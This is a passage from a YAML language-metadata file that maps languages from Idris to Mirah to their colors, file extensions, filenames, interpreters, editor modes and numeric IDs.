codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  language_id: 327071\nIdris:\n  type: programming\n  color: \"#b30000\"\n  extensions:\n  - \".idr\"\n  - \".lidr\"\n  ace_mode: text\n  tm_scope: source.idris\n  language_id: 165\nIgnore List:\n  type: data\n  color: \"#000000\"\n  aliases:\n  - ignore\n  - gitignore\n  - git-ignore\n  extensions:\n  - \".gitignore\"\n  filenames:\n  - \".atomignore\"\n  - \".babelignore\"\n  - \".bzrignore\"\n  - \".coffeelintignore\"\n  - \".cvsignore\"\n  - \".dockerignore\"\n  - \".easignore\"\n  - \".eleventyignore\"\n  - \".eslintignore\"\n  - \".gitignore\"\n  - \".ignore\"\n  - \".markdownlintignore\"\n  - \".nodemonignore\"\n  - \".npmignore\"\n  - \".prettierignore\"\n  - \".stylelintignore\"\n  - \".vercelignore\"\n  - \".vscodeignore\"\n  - gitignore-global\n  - gitignore_global\n  ace_mode: gitignore\n  tm_scope: source.gitignore\n  codemirror_mode: shell\n  codemirror_mime_type: text/x-sh\n  language_id: 74444240\nImageJ Macro:\n  type: programming\n  color: \"#99AAFF\"\n  aliases:\n  - ijm\n  extensions:\n  - \".ijm\"\n  ace_mode: text\n  tm_scope: none\n  language_id: 575143428\nImba:\n  type: programming\n  color: \"#16cec6\"\n  extensions:\n  - \".imba\"\n  ace_mode: text\n  tm_scope: source.imba\n  language_id: 1057618448\nInform 7:\n  type: programming\n  wrap: true\n  extensions:\n  - \".ni\"\n  - \".i7x\"\n  tm_scope: source.inform7\n  aliases:\n  - i7\n  - inform7\n  ace_mode: text\n  language_id: 166\nInk:\n  type: programming\n  wrap: true\n  extensions:\n  - \".ink\"\n  tm_scope: source.ink\n  ace_mode: text\n  language_id: 838252715\nInno Setup:\n  type: programming\n  color: \"#264b99\"\n  extensions:\n  - \".iss\"\n  - \".isl\"\n  tm_scope: source.inno\n  ace_mode: text\n  language_id: 167\nIo:\n  type: programming\n  color: \"#a9188d\"\n  extensions:\n  - \".io\"\n  interpreters:\n  - io\n  tm_scope: source.io\n  ace_mode: io\n  language_id: 168\nIoke:\n  type: programming\n  color: \"#078193\"\n  extensions:\n  - \".ik\"\n  interpreters:\n  - ioke\n  tm_scope: source.ioke\n  ace_mode: text\n  language_id: 169\nIsabelle:\n  type: programming\n  color: \"#FEFE00\"\n  extensions:\n  - \".thy\"\n  tm_scope: source.isabelle.theory\n  ace_mode: text\n  language_id: 170\nIsabelle ROOT:\n  type: programming\n  color: \"#FEFE00\"\n  group: Isabelle\n  filenames:\n  - ROOT\n  tm_scope: source.isabelle.root\n  ace_mode: text\n  language_id: 171\nJ:\n  type: programming\n  color: \"#9EEDFF\"\n  extensions:\n  - \".ijs\"\n  interpreters:\n  - jconsole\n  tm_scope: source.j\n  ace_mode: text\n  language_id: 172\nJAR Manifest:\n  type: data\n  color: \"#b07219\"\n  filenames:\n  - MANIFEST.MF\n  tm_scope: source.yaml\n  ace_mode: text\n  language_id: 447261135\nJCL:\n  type: programming\n  color: \"#d90e09\"\n  extensions:\n  - \".jcl\"\n  tm_scope: source.jcl\n  ace_mode: text\n  language_id: 316620079\nJFlex:\n  type: programming\n  color: \"#DBCA00\"\n  group: Lex\n  extensions:\n  - \".flex\"\n  - \".jflex\"\n  tm_scope: source.jflex\n  ace_mode: text\n  language_id: 173\nJSON:\n  type: data\n  color: \"#292929\"\n  tm_scope: source.json\n  ace_mode: json\n  codemirror_mode: javascript\n  codemirror_mime_type: application/json\n  aliases:\n  - geojson\n  - jsonl\n  - sarif\n  - topojson\n  extensions:\n  - \".json\"\n  - \".4DForm\"\n  - \".4DProject\"\n  - \".avsc\"\n  - \".geojson\"\n  - \".gltf\"\n  - \".har\"\n  - \".ice\"\n  - \".JSON-tmLanguage\"\n  - \".json.example\"\n  - \".jsonl\"\n  - \".mcmeta\"\n  - \".sarif\"\n  - \".tact\"\n  - \".tfstate\"\n  - \".tfstate.backup\"\n  - \".topojson\"\n  - \".webapp\"\n  - \".webmanifest\"\n  - \".yy\"\n  - \".yyp\"\n  filenames:\n  - \".all-contributorsrc\"\n  - \".arcconfig\"\n  - \".auto-changelog\"\n  - \".c8rc\"\n  - \".htmlhintrc\"\n  - \".imgbotconfig\"\n  - \".nycrc\"\n  - \".tern-config\"\n  - \".tern-project\"\n  - \".watchmanconfig\"\n  - MODULE.bazel.lock\n  - Package.resolved\n  - Pipfile.lock\n  - bun.lock\n  - composer.lock\n  - deno.lock\n  - flake.lock\n  - mcmod.info\n  language_id: 174\nJSON with Comments:\n  type: data\n  color: \"#292929\"\n  group: JSON\n  tm_scope: source.json.comments\n  ace_mode: javascript\n  codemirror_mode: javascript\n  codemirror_mime_type: text/javascript\n  aliases:\n  - jsonc\n  extensions:\n  - \".jsonc\"\n  - \".code-snippets\"\n  - \".code-workspace\"\n  - \".sublime-build\"\n  - \".sublime-color-scheme\"\n  - \".sublime-commands\"\n  - \".sublime-completions\"\n  - \".sublime-keymap\"\n  - \".sublime-macro\"\n  - \".sublime-menu\"\n  - \".sublime-mousemap\"\n  - \".sublime-project\"\n  - \".sublime-settings\"\n  - \".sublime-theme\"\n  - \".sublime-workspace\"\n  - \".sublime_metrics\"\n  - \".sublime_session\"\n  - \".tsconfig.json\"\n  filenames:\n  - \".babelrc\"\n  - \".devcontainer.json\"\n  - \".eslintrc.json\"\n  - \".jscsrc\"\n  - \".jshintrc\"\n  - \".jslintrc\"\n  - \".oxlintrc.json\"\n  - \".swcrc\"\n  - api-extractor.json\n  - devcontainer.json\n  - jsconfig.json\n  - language-configuration.json\n  - tsconfig.json\n  - tslint.json\n  language_id: 423\nJSON5:\n  type: data\n  color: \"#267CB9\"\n  extensions:\n  - \".json5\"\n  tm_scope: source.js\n  ace_mode: json5\n  codemirror_mode: javascript\n  codemirror_mime_type: application/json\n  language_id: 175\nJSONLD:\n  type: data\n  color: \"#0c479c\"\n  extensions:\n  - \".jsonld\"\n  tm_scope: source.js\n  ace_mode: javascript\n  codemirror_mode: javascript\n  codemirror_mime_type: application/ld+json\n  language_id: 176\nJSONiq:\n  color: \"#40d47e\"\n  type: programming\n  ace_mode: jsoniq\n  codemirror_mode: javascript\n  codemirror_mime_type: application/json\n  extensions:\n  - \".jq\"\n  tm_scope: source.jsoniq\n  language_id: 177\nJac:\n  type: programming\n  color: \"#FC792D\"\n  extensions:\n  - \".jac\"\n  tm_scope: source.jac\n  ace_mode: text\n  language_id: 235277043\nJai:\n  type: programming\n  color: \"#ab8b4b\"\n  ace_mode: text\n  tm_scope: source.jai\n  extensions:\n  - \".jai\"\n  language_id: 70127133\nJanet:\n  type: programming\n  color: \"#0886a5\"\n  extensions:\n  - \".janet\"\n  tm_scope: source.janet\n  ace_mode: scheme\n  codemirror_mode: scheme\n  codemirror_mime_type: text/x-scheme\n  interpreters:\n  - janet\n  language_id: 1028705371\nJasmin:\n  type: programming\n  color: \"#d03600\"\n  ace_mode: java\n  extensions:\n  - \".j\"\n  tm_scope: source.jasmin\n  language_id: 180\nJava:\n  type: programming\n  tm_scope: source.java\n  ace_mode: java\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-java\n  color: \"#b07219\"\n  extensions:\n  - \".java\"\n  - \".jav\"\n  - \".jsh\"\n  language_id: 181\nJava Properties:\n  type: data\n  color: \"#2A6277\"\n  extensions:\n  - \".properties\"\n  tm_scope: source.java-properties\n  ace_mode: properties\n  codemirror_mode: properties\n  codemirror_mime_type: text/x-properties\n  language_id: 519377561\nJava Server Pages:\n  type: programming\n  color: \"#2A6277\"\n  group: Java\n  aliases:\n  - jsp\n  extensions:\n  - \".jsp\"\n  - \".tag\"\n  tm_scope: text.html.jsp\n  ace_mode: jsp\n  codemirror_mode: htmlembedded\n  codemirror_mime_type: application/x-jsp\n  language_id: 182\nJava Template Engine:\n  type: programming\n  color: \"#2A6277\"\n  group: Java\n  aliases:\n  - jte\n  extensions:\n  - \".jte\"\n  ace_mode: text\n  tm_scope: text.html.jte\n  language_id: 599494012\nJavaScript:\n  type: programming\n  tm_scope: source.js\n  ace_mode: javascript\n  codemirror_mode: javascript\n  codemirror_mime_type: text/javascript\n  color: \"#f1e05a\"\n  aliases:\n  - js\n  - node\n  extensions:\n  - \".js\"\n  - \"._js\"\n  - \".bones\"\n  - \".cjs\"\n  - \".es\"\n  - \".es6\"\n  - \".frag\"\n  - \".gs\"\n  - \".jake\"\n  - \".javascript\"\n  - \".jsb\"\n  - \".jscad\"\n  - \".jsfl\"\n  - \".jslib\"\n  - \".jsm\"\n  - \".jspre\"\n  - \".jss\"\n  - \".jsx\"\n  - \".mjs\"\n  - \".njs\"\n  - \".pac\"\n  - \".sjs\"\n  - \".ssjs\"\n  - \".xsjs\"\n  - \".xsjslib\"\n  filenames:\n  - Jakefile\n  interpreters:\n  - chakra\n  - d8\n  - gjs\n  - js\n  - node\n  - nodejs\n  - qjs\n  - rhino\n  - v8\n  - v8-shell\n  language_id: 183\nJavaScript+ERB:\n  type: programming\n  color: \"#f1e05a\"\n  tm_scope: source.js\n  group: JavaScript\n  extensions:\n  - \".js.erb\"\n  ace_mode: javascript\n  codemirror_mode: javascript\n  codemirror_mime_type: application/javascript\n  language_id: 914318960\nJest Snapshot:\n  type: data\n  color: \"#15c213\"\n  tm_scope: source.jest.snap\n  extensions:\n  - \".snap\"\n  ace_mode: javascript\n  codemirror_mode: javascript\n  codemirror_mime_type: application/javascript\n  language_id: 774635084\nJetBrains MPS:\n  type: programming\n  aliases:\n  - mps\n  color: \"#21D789\"\n  extensions:\n  - \".mps\"\n  - \".mpl\"\n  - \".msd\"\n  ace_mode: xml\n  codemirror_mode: xml\n  codemirror_mime_type: text/xml\n  tm_scope: none\n  language_id: 465165328\nJinja:\n  type: markup\n  color: \"#a52a22\"\n  aliases:\n  - django\n  - html+django\n  - html+jinja\n  - htmldjango\n  extensions:\n  - \".jinja\"\n  - \".j2\"\n  - \".jinja2\"\n  tm_scope: text.html.django\n  ace_mode: django\n  codemirror_mode: jinja2\n  codemirror_mime_type: text/jinja2\n  language_id: 147\nJison:\n  type: programming\n  color: \"#56b3cb\"\n  group: Yacc\n  extensions:\n  - \".jison\"\n  tm_scope: source.jison\n  ace_mode: text\n  language_id: 284531423\nJison Lex:\n  type: programming\n  color: \"#56b3cb\"\n  group: Lex\n  extensions:\n  - \".jisonlex\"\n  tm_scope: source.jisonlex\n  ace_mode: text\n  language_id: 406395330\nJolie:\n  type: programming\n  extensions:\n  - \".ol\"\n  - \".iol\"\n  interpreters:\n  - jolie\n  color: \"#843179\"\n  ace_mode: text\n  tm_scope: source.jolie\n  language_id: 998078858\nJsonnet:\n  color: \"#0064bd\"\n  type: programming\n  ace_mode: text\n  extensions:\n  - \".jsonnet\"\n  - \".libsonnet\"\n  tm_scope: source.jsonnet\n  language_id: 664885656\nJulia:\n  type: programming\n  extensions:\n  - \".jl\"\n  interpreters:\n  - julia\n  color: \"#a270ba\"\n  tm_scope: source.julia\n  ace_mode: julia\n  codemirror_mode: julia\n  codemirror_mime_type: text/x-julia\n  language_id: 184\nJulia REPL:\n  type: programming\n  color: \"#a270ba\"\n  tm_scope: source.julia.console\n  group: Julia\n  ace_mode: text\n  language_id: 220689142\nJupyter Notebook:\n  type: markup\n  ace_mode: json\n  codemirror_mode: javascript\n  codemirror_mime_type: application/json\n  tm_scope: source.json\n  color: \"#DA5B0B\"\n  extensions:\n  - \".ipynb\"\n  filenames:\n  - Notebook\n  aliases:\n  - IPython Notebook\n  language_id: 185\nJust:\n  type: programming\n  aliases:\n  - Justfile\n  color: \"#384d54\"\n  tm_scope: source.just\n  filenames:\n  - \".JUSTFILE\"\n  - \".Justfile\"\n  - \".justfile\"\n  - JUSTFILE\n  - Justfile\n  - justfile\n  extensions:\n  - \".just\"\n  ace_mode: text\n  language_id: 128447695\nKCL:\n  type: programming\n  color: \"#7ABABF\"\n  tm_scope: source.kcl\n  extensions:\n  - \".k\"\n  filenames:\n  - kcl.mod\n  - kcl.mod.lock\n  ace_mode: text\n  language_id: 1052003890\nKDL:\n  type: data\n  color: \"#ffb3b3\"\n  extensions:\n  - \".kdl\"\n  tm_scope: source.kdl\n  ace_mode: tcl\n  codemirror_mode: yacas\n  codemirror_mime_type: text/x-yacas\n  language_id: 931123626\nKFramework:\n  type: programming\n  color: \"#4195c5\"\n  tm_scope: text.k\n  extensions:\n  - \".k\"\n  ace_mode: text\n  language_id: 9479532\nKRL:\n  type: programming\n  color: \"#28430A\"\n  extensions:\n  - \".krl\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 186\nKaitai Struct:\n  type: programming\n  aliases:\n  - ksy\n  ace_mode: yaml\n  codemirror_mode: yaml\n  codemirror_mime_type: text/x-yaml\n  color: \"#773b37\"\n  extensions:\n  - \".ksy\"\n  tm_scope: source.yaml\n  language_id: 818804755\nKakouneScript:\n  type: programming\n  color: \"#6f8042\"\n  tm_scope: source.kakscript\n  aliases:\n  - kak\n  - kakscript\n  extensions:\n  - \".kak\"\n  filenames:\n  - kakrc\n  ace_mode: text\n  language_id: 603336474\nKerboScript:\n  type: programming\n  ace_mode: text\n  extensions:\n  - \".ks\"\n  color: \"#41adf0\"\n  tm_scope: source.kerboscript\n  language_id: 59716426\nKiCad Layout:\n  type: data\n  color: \"#2f4aab\"\n  aliases:\n  - pcbnew\n  extensions:\n  - \".kicad_pcb\"\n  - \".kicad_mod\"\n  - \".kicad_wks\"\n  filenames:\n  - fp-lib-table\n  tm_scope: source.pcb.sexp\n  ace_mode: lisp\n  codemirror_mode: commonlisp\n  codemirror_mime_type: text/x-common-lisp\n  language_id: 187\nKiCad Legacy Layout:\n  type: data\n  color: \"#2f4aab\"\n  extensions:\n  - \".brd\"\n  tm_scope: source.pcb.board\n  ace_mode: text\n  language_id: 140848857\nKiCad Schematic:\n  type: data\n  color: \"#2f4aab\"\n  aliases:\n  - eeschema schematic\n  extensions:\n  - \".kicad_sch\"\n  - \".kicad_sym\"\n  - \".sch\"\n  tm_scope: source.pcb.schematic\n  ace_mode: text\n  language_id: 622447435\nKickstart:\n  type: data\n  ace_mode: text\n  extensions:\n  - \".ks\"\n  tm_scope: source.kickstart\n  language_id: 692635484\nKit:\n  type: markup\n  ace_mode: html\n  codemirror_mode: htmlmixed\n  codemirror_mime_type: text/html\n  extensions:\n  - \".kit\"\n  tm_scope: text.html.basic\n  language_id: 188\nKoLmafia ASH:\n  type: programming\n  color: \"#B9D9B9\"\n  extensions:\n  - \".ash\"\n  tm_scope: source.ash\n  ace_mode: text\n  language_id: 852099832\nKoka:\n  type: programming\n  ace_mode: text\n  extensions:\n  - \".kk\"\n  interpreters:\n  - koka\n  color: \"#215166\"\n  tm_scope: source.koka\n  language_id: 597930447\nKotlin:\n  type: programming\n  color: \"#A97BFF\"\n  extensions:\n  - \".kt\"\n  - \".ktm\"\n  - \".kts\"\n  tm_scope: source.kotlin\n  ace_mode: kotlin\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-kotlin\n  language_id: 189\nKusto:\n  type: data\n  extensions:\n  - \".csl\"\n  - \".kql\"\n  tm_scope: source.kusto\n  ace_mode: text\n  language_id: 225697190\nLFE:\n  type: programming\n  color: \"#4C3023\"\n  extensions:\n  - \".lfe\"\n  tm_scope: source.lisp\n  ace_mode: lisp\n  codemirror_mode: commonlisp\n  codemirror_mime_type: text/x-common-lisp\n  language_id: 190\nLLVM:\n  type: programming\n  extensions:\n  - \".ll\"\n  tm_scope: source.llvm\n  ace_mode: text\n  color: \"#185619\"\n  language_id: 191\nLOLCODE:\n  type: programming\n  extensions:\n  - \".lol\"\n  color: \"#cc9900\"\n  tm_scope: source.lolcode\n  ace_mode: text\n  language_id: 192\nLSL:\n  type: programming\n  tm_scope: source.lsl\n  ace_mode: lsl\n  extensions:\n  - \".lsl\"\n  - \".lslp\"\n  interpreters:\n  - lsl\n  color: \"#3d9970\"\n  language_id: 193\nLTspice Symbol:\n  type: data\n  extensions:\n  - \".asy\"\n  tm_scope: source.ltspice.symbol\n  ace_mode: text\n  codemirror_mode: spreadsheet\n  codemirror_mime_type: text/x-spreadsheet\n  language_id: 1013566805\nLabVIEW:\n  type: programming\n  color: \"#fede06\"\n  extensions:\n  - \".lvproj\"\n  - \".lvclass\"\n  - \".lvlib\"\n  tm_scope: text.xml\n  ace_mode: xml\n  codemirror_mode: xml\n  codemirror_mime_type: text/xml\n  language_id: 194\nLambdapi:\n  type: programming\n  color: \"#8027a3\"\n  extensions:\n  - \".lp\"\n  tm_scope: source.lp\n  ace_mode: text\n  language_id: 759240513\nLangium:\n  type: programming\n  color: \"#2c8c87\"\n  extensions:\n  - \".langium\"\n  tm_scope: source.langium\n  ace_mode: text\n  language_id: 548603830\nLark:\n  type: data\n  color: \"#2980B9\"\n  extensions:\n  - \".lark\"\n  tm_scope: source.lark\n  ace_mode: text\n  codemirror_mode: ebnf\n  codemirror_mime_type: text/x-ebnf\n  language_id: 758480799\nLasso:\n  type: programming\n  color: \"#999999\"\n  extensions:\n  - \".lasso\"\n  - \".las\"\n  - \".lasso8\"\n  - \".lasso9\"\n  tm_scope: file.lasso\n  aliases:\n  - lassoscript\n  ace_mode: text\n  language_id: 195\nLatte:\n  type: markup\n  color: \"#f2a542\"\n  extensions:\n  - \".latte\"\n  tm_scope: text.html.smarty\n  ace_mode: latte\n  codemirror_mode: smarty\n  codemirror_mime_type: text/x-smarty\n  language_id: 196\nLean:\n  type: programming\n  extensions:\n  - \".lean\"\n  - \".hlean\"\n  tm_scope: source.lean\n  ace_mode: text\n  language_id: 197\nLean 4:\n  type: programming\n  group: Lean\n  aliases:\n  - lean4\n  extensions:\n  - \".lean\"\n  tm_scope: source.lean4\n  ace_mode: text\n  language_id: 455147478\nLeo:\n  type: programming\n  color: \"#C4FFC2\"\n  extensions:\n  - \".leo\"\n  tm_scope: source.leo\n  ace_mode: text\n  wrap: true\n  language_id: 916034822\nLess:\n  type: markup\n  color: \"#1d365d\"\n  aliases:\n  - less-css\n  extensions:\n  - \".less\"\n  tm_scope: source.css.less\n  ace_mode: less\n  codemirror_mode: css\n  codemirror_mime_type: text/x-less\n  language_id: 198\nLex:\n  type: programming\n  color: \"#DBCA00\"\n  aliases:\n  - flex\n  extensions:\n  - \".l\"\n  - \".lex\"\n  filenames:\n  - Lexer.x\n  - lexer.x\n  tm_scope: source.lex\n  ace_mode: text\n  language_id: 199\nLigoLANG:\n  type: programming\n  color: \"#0e74ff\"\n  extensions:\n  - \".ligo\"\n  tm_scope: source.ligo\n  ace_mode: pascal\n  codemirror_mode: pascal\n  codemirror_mime_type: text/x-pascal\n  group: LigoLANG\n  language_id: 1040646257\nLilyPond:\n  type: programming\n  color: \"#9ccc7c\"\n  extensions:\n  - \".ly\"\n  - \".ily\"\n  tm_scope: source.lilypond\n  ace_mode: text\n  language_id: 200\nLimbo:\n  type: programming\n  extensions:\n  - \".b\"\n  - \".m\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 201\nLinear Programming:\n  type: programming\n  extensions:\n  - \".lp\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 377204539\nLinker Script:\n  type: programming\n  extensions:\n  - \".ld\"\n  - \".lds\"\n  - \".x\"\n  filenames:\n  - ld.script\n  tm_scope: source.c.linker\n  ace_mode: text\n  language_id: 202\nLinux Kernel Module:\n  type: data\n  extensions:\n  - \".mod\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 203\nLiquid:\n  type: markup\n  color: \"#67b8de\"\n  extensions:\n  - \".liquid\"\n  tm_scope: text.html.liquid\n  ace_mode: liquid\n  language_id: 204\nLiquidsoap:\n  type: programming\n  color: \"#990066\"\n  extensions:\n  - \".liq\"\n  tm_scope: source.liquidsoap\n  ace_mode: text\n  language_id: 614641732\nLiterate Agda:\n  type: programming\n  color: \"#315665\"\n  group: Agda\n  extensions:\n  - \".lagda\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 205\nLiterate CoffeeScript:\n  type: programming\n  color: \"#244776\"\n  tm_scope: source.litcoffee\n  group: CoffeeScript\n  ace_mode: text\n  wrap: true\n  aliases:\n  - litcoffee\n  extensions:\n  - \".litcoffee\"\n  - \".coffee.md\"\n  language_id: 206\nLiterate Haskell:\n  type: programming\n  color: \"#5e5086\"\n  group: Haskell\n  aliases:\n  - lhaskell\n  - lhs\n  extensions:\n  - \".lhs\"\n  tm_scope: text.tex.latex.haskell\n  ace_mode: text\n  codemirror_mode: haskell-literate\n  codemirror_mime_type: text/x-literate-haskell\n  language_id: 207\nLiveCode Script:\n  type: programming\n  color: \"#0c5ba5\"\n  extensions:\n  - \".livecodescript\"\n  tm_scope: source.livecodescript\n  ace_mode: text\n  language_id: 891017\nLiveScript:\n  type: programming\n  color: \"#499886\"\n  aliases:\n  - live-script\n  - ls\n  extensions:\n  - \".ls\"\n  - \"._ls\"\n  filenames:\n  - Slakefile\n  tm_scope: source.livescript\n  ace_mode: livescript\n  codemirror_mode: livescript\n  codemirror_mime_type: text/x-livescript\n  language_id: 208\nLogos:\n  type: programming\n  extensions:\n  - \".xm\"\n  - \".x\"\n  - \".xi\"\n  ace_mode: text\n  tm_scope: source.logos\n  language_id: 209\nLogtalk:\n  type: programming\n  color: \"#295b9a\"\n  extensions:\n  - \".lgt\"\n  - \".logtalk\"\n  tm_scope: source.logtalk\n  ace_mode: logtalk\n  language_id: 210\nLookML:\n  type: programming\n  ace_mode: yaml\n  codemirror_mode: yaml\n  codemirror_mime_type: text/x-yaml\n  color: \"#652B81\"\n  extensions:\n  - \".lkml\"\n  - \".lookml\"\n  tm_scope: source.yaml\n  language_id: 211\nLoomScript:\n  type: programming\n  extensions:\n  - \".ls\"\n  tm_scope: source.loomscript\n  ace_mode: text\n  language_id: 212\nLua:\n  type: programming\n  tm_scope: source.lua\n  ace_mode: lua\n  codemirror_mode: lua\n  codemirror_mime_type: text/x-lua\n  color: \"#000080\"\n  extensions:\n  - \".lua\"\n  - \".fcgi\"\n  - \".nse\"\n  - \".p8\"\n  - \".pd_lua\"\n  - \".rbxs\"\n  - \".rockspec\"\n  - \".wlua\"\n  filenames:\n  - \".luacheckrc\"\n  interpreters:\n  - lua\n  - luajit\n  language_id: 213\nLuau:\n  type: programming\n  tm_scope: source.luau\n  ace_mode: lua\n  codemirror_mode: lua\n  codemirror_mime_type: text/x-lua\n  color: \"#00A2FF\"\n  extensions:\n  - \".luau\"\n  interpreters:\n  - luau\n  language_id: 365050359\nM:\n  type: programming\n  aliases:\n  - mumps\n  extensions:\n  - \".mumps\"\n  - \".m\"\n  ace_mode: text\n  codemirror_mode: mumps\n  codemirror_mime_type: text/x-mumps\n  language_id: 214\n  tm_scope: none\nM3U:\n  type: data\n  aliases:\n  - hls playlist\n  - m3u playlist\n  extensions:\n  - \".m3u\"\n  - \".m3u8\"\n  color: \"#179C7D\"\n  tm_scope: source.m3u\n  ace_mode: text\n  language_id: 89638692\nM4:\n  type: programming\n  extensions:\n  - \".m4\"\n  - \".mc\"\n  tm_scope: source.m4\n  ace_mode: text\n  language_id: 215\nM4Sugar:\n  type: programming\n  group: M4\n  aliases:\n  - autoconf\n  extensions:\n  - \".m4\"\n  filenames:\n  - configure.ac\n  tm_scope: source.m4\n  ace_mode: text\n  language_id: 216\nMATLAB:\n  type: programming\n  color: \"#e16737\"\n  aliases:\n  - octave\n  extensions:\n  - \".matlab\"\n  - \".m\"\n  tm_scope: source.matlab\n  ace_mode: matlab\n  codemirror_mode: octave\n  codemirror_mime_type: text/x-octave\n  language_id: 225\nMAXScript:\n  type: programming\n  color: \"#00a6a6\"\n  extensions:\n  - \".ms\"\n  - \".mcr\"\n  tm_scope: source.maxscript\n  ace_mode: text\n  language_id: 217\nMDX:\n  type: markup\n  color: \"#fcb32c\"\n  ace_mode: markdown\n  codemirror_mode: gfm\n  codemirror_mime_type: text/x-gfm\n  wrap: true\n  extensions:\n  - \".mdx\"\n  tm_scope: source.mdx\n  language_id: 512838272\nMLIR:\n  type: programming\n  color: \"#5EC8DB\"\n  extensions:\n  - \".mlir\"\n  tm_scope: source.mlir\n  ace_mode: text\n  language_id: 448253929\nMQL4:\n  type: programming\n  color: \"#62A8D6\"\n  extensions:\n  - \".mq4\"\n  - \".mqh\"\n  tm_scope: source.mql5\n  ace_mode: c_cpp\n  language_id: 426\nMQL5:\n  type: programming\n  color: \"#4A76B8\"\n  extensions:\n  - \".mq5\"\n  - \".mqh\"\n  tm_scope: source.mql5\n  ace_mode: c_cpp\n  language_id: 427\nMTML:\n  type: markup\n  color: \"#b7e1f4\"\n  extensions:\n  - \".mtml\"\n  tm_scope: text.html.basic\n  ace_mode: html\n  codemirror_mode: htmlmixed\n  codemirror_mime_type: text/html\n  language_id: 218\nMUF:\n  type: programming\n  group: Forth\n  extensions:\n  - \".muf\"\n  - \".m\"\n  tm_scope: none\n  ace_mode: forth\n  codemirror_mode: forth\n  codemirror_mime_type: text/x-forth\n  language_id: 219\nMacaulay2:\n  type: programming\n  extensions:\n  - \".m2\"\n  aliases:\n  - m2\n  interpreters:\n  - M2\n  ace_mode: text\n  tm_scope: source.m2\n  color: \"#d8ffff\"\n  language_id: 34167825\nMakefile:\n  type: programming\n  color: \"#427819\"\n  aliases:\n  - bsdmake\n  - make\n  - mf\n  extensions:\n  - \".mak\"\n  - \".d\"\n  - \".make\"\n  - \".makefile\"\n  - \".mk\"\n  - \".mkfile\"\n  filenames:\n  - BSDmakefile\n  - GNUmakefile\n  - Kbuild\n  - Makefile\n  - Makefile.am\n  - Makefile.boot\n  - Makefile.frag\n  - Makefile.in\n  - Makefile.inc\n  - Makefile.wat\n  - makefile\n  - makefile.sco\n  - mkfile\n  interpreters:\n  - make\n  tm_scope: source.makefile\n  ace_mode: makefile\n  codemirror_mode: cmake\n  codemirror_mime_type: text/x-cmake\n  language_id: 220\nMako:\n  type: programming\n  color: \"#7e858d\"\n  extensions:\n  - \".mako\"\n  - \".mao\"\n  tm_scope: text.html.mako\n  ace_mode: text\n  language_id: 221\nMarkdown:\n  type: prose\n  color: \"#083fa1\"\n  aliases:\n  - md\n  - pandoc\n  ace_mode: markdown\n  codemirror_mode: gfm\n  codemirror_mime_type: text/x-gfm\n  wrap: true\n  extensions:\n  - \".md\"\n  - \".livemd\"\n  - \".markdown\"\n  - \".mdown\"\n  - \".mdwn\"\n  - \".mkd\"\n  - \".mkdn\"\n  - \".mkdown\"\n  - \".ronn\"\n  - \".scd\"\n  - \".workbook\"\n  filenames:\n  - contents.lr\n  tm_scope: text.md\n  language_id: 222\nMarko:\n  type: markup\n  color: \"#42bff2\"\n  tm_scope: text.marko\n  extensions:\n  - \".marko\"\n  aliases:\n  - markojs\n  ace_mode: text\n  codemirror_mode: htmlmixed\n  codemirror_mime_type: text/html\n  language_id: 932782397\nMask:\n  type: markup\n  color: \"#f97732\"\n  ace_mode: mask\n  extensions:\n  - \".mask\"\n  tm_scope: source.mask\n  language_id: 223\nMathematical Programming System:\n  type: programming\n  color: \"#0530ad\"\n  extensions:\n  - \".mps\"\n  tm_scope: text.source.mps\n  ace_mode: text\n  language_id: 429002699\nMaven POM:\n  type: data\n  group: XML\n  tm_scope: text.xml.pom\n  filenames:\n  - pom.xml\n  ace_mode: xml\n  codemirror_mode: xml\n  codemirror_mime_type: text/xml\n  language_id: 226\nMax:\n  type: programming\n  color: \"#c4a79c\"\n  aliases:\n  - max/msp\n  - maxmsp\n  extensions:\n  - \".maxpat\"\n  - \".maxhelp\"\n  - \".maxproj\"\n  - \".mxt\"\n  - \".pat\"\n  tm_scope: source.json\n  ace_mode: json\n  codemirror_mode: javascript\n  codemirror_mime_type: application/json\n  language_id: 227\nMeTTa:\n  type: programming\n  color: \"#6a5acd\"\n  extensions:\n  - \".metta\"\n  tm_scope: source.metta\n  ace_mode: text\n  language_id: 1037612668\nMercury:\n  type: programming\n  color: \"#ff2b2b\"\n  ace_mode: prolog\n  interpreters:\n  - mmi\n  extensions:\n  - \".m\"\n  - \".moo\"\n  tm_scope: source.mercury\n  language_id: 229\nMermaid:\n  type: markup\n  color: \"#ff3670\"\n  aliases:\n  - mermaid example\n  extensions:\n  - \".mmd\"\n  - \".mermaid\"\n  tm_scope: source.mermaid\n  ace_mode: text\n  language_id: 385992043\nMeson:\n  type: programming\n  color: \"#007800\"\n  filenames:\n  - meson.build\n  - meson_options.txt\n  tm_scope: source.meson\n  ace_mode: text\n  language_id: 799141244\nMetal:\n  type: programming\n  color: \"#8f14e9\"\n  extensions:\n  - \".metal\"\n  tm_scope: source.c++\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-c++src\n  language_id: 230\nMicrosoft Developer Studio Project:\n  type: data\n  extensions:\n  - \".dsp\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 800983837\nMicrosoft Visual Studio Solution:\n  type: data\n  extensions:\n  - \".sln\"\n  tm_scope: source.solution\n  ace_mode: text\n  language_id: 849523096\nMiniD:\n  type: programming\n  extensions:\n  - \".minid\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 231\nMiniYAML:\n  type: data\n  color: \"#ff1111\"\n  tm_scope: source.miniyaml\n  extensions:\n  - \".yaml\"\n  - \".yml\"\n  ace_mode: yaml\n  codemirror_mode: yaml\n  codemirror_mime_type: text/x-yaml\n  language_id: 4896465\nMiniZinc:\n  type: programming\n  color: \"#06a9e6\"\n  extensions:\n  - \".mzn\"\n  tm_scope: source.mzn\n  ace_mode: text\n  language_id: 238874535\nMiniZinc Data:\n  type: data\n  extensions:\n  - \".dzn\"\n  tm_scope: source.mzn\n  ace_mode: text\n  language_id: 938193433\nMint:\n  type: programming\n  extensions:\n  - \".mint\"\n  ace_mode: text\n  color: \"#02b046\"\n  tm_scope: source.mint\n  language_id: 968740319\nMirah:\n  type: programming\n  